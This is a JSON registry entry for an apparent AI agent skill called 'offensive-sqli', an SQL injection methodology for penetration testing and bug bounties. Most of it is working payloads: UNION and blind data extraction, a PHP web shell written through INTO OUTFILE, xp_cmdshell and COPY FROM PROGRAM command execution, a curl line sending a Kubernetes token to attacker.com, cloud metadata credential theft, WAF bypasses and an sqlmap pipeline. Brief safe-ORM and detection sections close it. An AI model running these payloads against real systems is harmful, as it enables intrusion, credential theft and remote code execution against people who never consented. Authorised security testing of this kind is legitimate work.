{"id":"offensive-sqli","name":"offensive-sqli","summary":"攻撃的なセキュリティ評価やバグバウンティハンティングのためのSQLインジェクションテストスキル。エラーベース、UNINベース、ブール/タイムベースブラインド、アウトオブバンド、セカンドオーダー、NoSQL、GraphQL、WebSocket、JSONオペレータSQLiをカバーしています。","body":"# SQL Injection — Offensive Testing Methodology\n\n## Quick Workflow\n\n1. Map all input vectors that reach the database (URL params, POST body, cookies, headers, API filters, WebSocket messages)\n2. Insert probe payloads to detect classic SQLi; fall back to inferential (boolean/time-based) if no visible error\n3. Identify database type and enumerate schema\n4. Exploit to extract data, escalate privileges, or achieve RCE where in scope\n5. Document findings and suggest remediation\n\n---\n\n## Detection\n\n### Basic Probes — All Input Vectors\n\n```\n' \" ; -- /* */ # ) ( + , \\  %\n' OR '1'='1\n\" OR \"1\"=\"1\nSLEEP(1) /*' or SLEEP(1) or '\" or SLEEP(1) or \"*/\n```\n\n### Error-Based Detection\n\nTrigger syntax errors to reveal database type and query structure:\n\n```\n'  ''  `  \"  \"\"  ,  %  \\\n```\n\nLook for: SQL syntax errors, DB version strings, table/column names leaked in responses.\n\n### Boolean-Based Blind\n\n```sql\n' OR 1=1 --\n' OR 1=2 --\n' AND 1=1 --\n' AND 1=2 --\n```\n\nObserve response size/content differences between true and false conditions.\n\n### Time-Based Blind\n\n```sql\n-- MySQL\n' OR SLEEP(5) --\n-- PostgreSQL\n' OR pg_sleep(5) --\n-- MSSQL\n' WAITFOR DELAY '0:0:5' --\n-- Oracle\n'; BEGIN DBMS_LOCK.SLEEP(5); END; --\n```\n\n### JSON Operator Probes\n\n```sql\n-- MySQL\nid=1 AND JSON_EXTRACT('{\"a\":1}', '$.a')=1\n-- PostgreSQL\nid=1 AND '{\"a\":1}'::jsonb ? 'a'\n```\n\n### GraphQL → SQLi Pivot\n\n```\n{\"query\":\"query{ users(filter: \\\"' OR 1=1 --\\\"){ id email }}\"}\n```\n\n### WebSocket SQLi\n\n```javascript\nconst ws = new WebSocket(\"wss://target.com/api/search\");\nws.send('{\"action\":\"search\",\"query\":\"test\\\\\\' OR 1=1--\"}');\n```\n\n### REST API Filter Injection\n\n```json\nPOST /api/users/search\n{\n  \"filter\": { \"name\": {\"$regex\": \"admin' OR 1=1--\"} },\n  \"sort\": \"name'; DROP TABLE users--\"\n}\n```\n\n---\n\n## Automation Workflow\n\n```bash\n# Full pipeline\nsublist3r -d target | tee domains\ncat domains | httpx | tee alive\ncat alive | waybackurls | tee urls\ngf sqli urls >> sqli\nsqlmap -m sqli --dbs --batch\n\n# Targeted with Burp capture\n# 1. Capture request → Send to Active Scanner\n# 2. Review SQL findings → manually verify\n# 3. Export request file → sqlmap -r req.txt --dbs\n\n# Blind SQLi (Ghauri — faster for time-based)\nghauri -u \"https://target.com/page?id=1\" --dbs\n\n# Hidden parameter discovery\nhakrawler -url https://target.com | tee crawl\narjun -i crawl -oJ params.json\n```\n\n---\n\n## Exploitation\n\n### Determine Column Count (UNION)\n\n```sql\n' UNION SELECT NULL-- -\n' UNION SELECT NULL,NULL-- -\n' UNION SELECT NULL,NULL,NULL-- -\n```\n\n### Identify String Columns\n\n```sql\n' UNION SELECT 'a',NULL,NULL-- -\n' UNION SELECT NULL,'a',NULL-- -\n```\n\n### Enumerate Schema\n\n```sql\n-- DB version\n' UNION SELECT @@version --          -- MySQL/MSSQL\n' UNION SELECT version() --          -- PostgreSQL\n' UNION SELECT banner FROM v$version -- -- Oracle\n\n-- Tables\n' UNION SELECT table_name,1 FROM information_schema.tables --    -- MySQL/MSSQL/PG\n' UNION SELECT table_name,1 FROM all_tables --                   -- Oracle\n\n-- Columns\n' UNION SELECT column_name,1 FROM information_schema.columns WHERE table_name='users' --\n```\n\n### Blind Data Extraction\n\n```sql\n-- Boolean character-by-character\n' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 0,1)='a'-- -\n\n-- Time-based conditional\n' AND (SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users)-- -\n```\n\n---\n\n## Database-Specific Exploitation\n\n### MySQL / MariaDB\n\n```sql\n-- File read\n' UNION SELECT LOAD_FILE('/etc/passwd') --\n\n-- Write web shell\n' UNION SELECT '<?php system($_GET[\"cmd\"]); ?>' INTO OUTFILE '/var/www/html/shell.php' --\n\n-- Schema leak\n' UNION SELECT table_schema,table_name FROM information_schema.tables\n  WHERE table_schema NOT IN ('mysql','information_schema') --\n```\n\n### MSSQL\n\n```sql\n-- OS command execution\n'; EXEC xp_cmdshell 'net user' --\n\n-- Registry read\n'; EXEC xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion','ProductName' --\n\n-- Linked server pivot\n'; EXEC ('SELECT * FROM OPENROWSET(''SQLOLEDB'',''Server=linked_server;Trusted_Connection=yes'',''SELECT 1'')') --\n```\n\n### PostgreSQL\n\n```sql\n-- File read\n' UNION SELECT pg_read_file('/etc/passwd',0,1000) --\n\n-- OS command execution\n'; CREATE TABLE cmd_exec(cmd_output text);\n  COPY cmd_exec FROM PROGRAM 'id';\n  SELECT * FROM cmd_exec; --\n\n-- K8s service account token exfil\n'; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)'; --\n```\n\n### Oracle\n\n```sql\n-- Privilege enumeration\n' UNION SELECT * FROM SYS.USER_ROLE_PRIVS --\n\n-- PL/SQL execution\n' BEGIN DBMS_JAVA.RUNJAVA('java.lang.Runtime.getRuntime().exec(''cmd.exe /c dir'')'); END; --\n```\n\n---\n\n## NoSQL & Graph Injection\n\n### MongoDB\n\n```\nusername[$ne]=admin&password[$ne]=\nusername[$regex]=^adm&password[$regex]=^pass\n{\"$where\": \"sleep(5000)\"}\n{\"username\": {\"$in\": [\"admin\"]}}\n```\n\n### Neo4j / Cypher (CVE-2024-34517)\n\n```cypher\n-- Normal\nMATCH (u:User) WHERE u.name = 'admin' RETURN u\n-- Bypass\nMATCH (u:User) WHERE u.name = 'admin' OR 1=1 //--' RETURN u\n```\n\nOlder Neo4j 5.x (<5.18 / <4.4.26) allowed privilege escalation via IMMUTABLE procedures.\n\n---\n\n## WAF Bypass Techniques\n\n| Technique | Example |\n|-----------|---------|\n| Case variation | `SeLeCt`, `UnIoN` |\n| Comment injection | `UN/**/ION SE/**/LECT` |\n| URL encoding | `UNION` → `%55%4E%49%4F%4E` |\n| Hex encoding | `SELECT` → `0x53454C454354` |\n| Whitespace | `UNION/**/SELECT` |\n| Null byte | `%00' UNION SELECT password FROM users--` |\n| Double encoding | `%2f` → `%252f` |\n| String concat | MySQL: `CONCAT('a','b')`, Oracle: `'a'\\|\\|'b'`, MSSQL: `'a'+'b'` |\n| JSON wrapper | Prefix with dummy JSON `/**/{\"a\":1}` to confuse WAF parsers |\n\n**SQLmap tamper scripts:** Use the Atlas tool to suggest tampers; combine multiple (`--tamper=space2comment,charencode`) for layered WAFs.\n\n**HTTP/2 smuggling:** Replay payloads over h2/h2c; HPACK compression can obscure payloads from perimeter WAFs.\n\n---\n\n## Cloud-Specific Attack Paths\n\n### AWS\n\n```sql\n-- IMDSv1 credential theft (legacy environments)\n' UNION SELECT LOAD_FILE('http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name') --\n\n-- RDS Proxy disruption\n'; CALL mysql.rds_kill(CONNECTION_ID()); --\n```\n\n### Azure\n\n```sql\n-- Azure SQL Managed Instance RCE\n'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --\n'; EXEC xp_cmdshell 'az vm list'; --\n\n-- Instance metadata\n' UNION SELECT LOAD_FILE('http://169.254.169.254/metadata/instance?api-version=2021-02-01') --\n```\n\n### GCP Cloud SQL\n\n```sql\n' UNION SELECT @@global.version_comment, @@hostname --\n```\n\n### Lambda / Serverless Connection Pool Poisoning\n\n```javascript\n// SET ROLE persists across Lambda invocations when DB connections are reused\nexports.handler = async (event) => {\n  await db.query(`SET ROLE '${event.role}'`); // injectable — poisons pool\n  return await db.query(\"SELECT * FROM sensitive_data\");\n};\n```\n\n---\n\n## ORM CVE Tracking (2023–2025)\n\n| ORM | CVE / Issue | Vulnerable Pattern |\n|-----|------------|-------------------|\n| Sequelize | CVE-2023-22578 | `sequelize.literal(\\`name = '${userInput}'\\`)` |\n| TypeORM <0.3.12 | findOne injection | `repository.findOne({ where: \\`id = ${id}\\` })` |\n| Hibernate 6.x | Query cache poisoning | `session.createQuery(\"FROM User WHERE name = '\" + input + \"'\")` |\n| Prisma <4.11 | Raw query | `prisma.$executeRawUnsafe(\\`SELECT * FROM users WHERE id = ${id}\\`)` |\n\n**Safe ORM patterns:**\n\n```javascript\n// Sequelize — use replacements\nsequelize.query('SELECT * FROM users WHERE name = :name', { replacements: { name: user } })\n// Prisma — tagged template literal\nawait prisma.$queryRaw`SELECT * FROM users WHERE name = ${user}`\n// Knex\nknex('users').whereRaw('name = ?', [user])\n```\n\n---\n\n## Quick-Reference Cheatsheet\n\n| DB | Version | Time Delay | String Concat | Schema Source |\n|----|---------|-----------|--------------|---------------|\n| MySQL | `@@version` | `SLEEP(5)` | `CONCAT('a','b')` | `information_schema.tables` |\n| MSSQL | `@@version` | `WAITFOR DELAY '0:0:5'` | `'a'+'b'` | `information_schema.tables`, `sys.tables` |\n| PostgreSQL | `version()` | `pg_sleep(5)` | `'a'\\|\\|'b'` | `information_schema.tables` |\n| Oracle | `banner FROM v$version` | `DBMS_PIPE.RECEIVE_MESSAGE('RDS',5)` | `'a'\\|\\|'b'` | `all_tables`, `all_tab_columns` |\n\n---\n\n## Detection & Monitoring Queries\n\n**Splunk:**\n\n```spl\nindex=web sourcetype=access_combined\n| regex _raw=\"(%27)|(\\\\')|(\\\\-\\\\-)|((%3D)|(=))[^\\\\n]*((%27)|(\\\\')|(\\\\-\\\\-)|(\\\\%3D))\"\n| eval suspected_sqli=if(match(_raw,\"(?i)(union|select|insert|update|delete|drop|create|alter|exec)\"),\"high\",\"low\")\n| where suspected_sqli=\"high\"\n| table _time, src_ip, uri, user_agent, status\n```\n\n**AWS CloudWatch Insights (RDS):**\n\n```\nfields @timestamp, @message\n| filter @message like /(?i)(UNION|SELECT.*FROM|INSERT INTO|UPDATE.*SET|DELETE FROM)/\n| filter @message like /(%27|'|--|\\\\/\\\\*)/\n| stats count() by bin(5m)\n```\n\n---\n\n## Key References\n\n- MITRE ATT&CK: T1190 (Exploit Public-Facing Application)\n- OWASP ASVS 4.0: V5.3.4 — parameterized queries required\n- PCI DSS 4.0: Requirement 6.2.4 — injection protection mandatory\n- CISA KEV Catalog — monitor for actively exploited SQLi CVEs\n- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/sql-injection.md","author":"@SnailSploit","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/SnailSploit/Claude-Red/tree/main/Skills/web/offensive-sqli","license":"MIT","category":"document","lang":"en","tokens":2705,"stars":0,"calls30d":1,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[{"code":"code.eval","kind":"dangerous-code","where":"SKILL.md:213","excerpt":"exec(","message":"evaluates code at runtime","severity":"warn"}],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":["attacker.com","target.com"]}}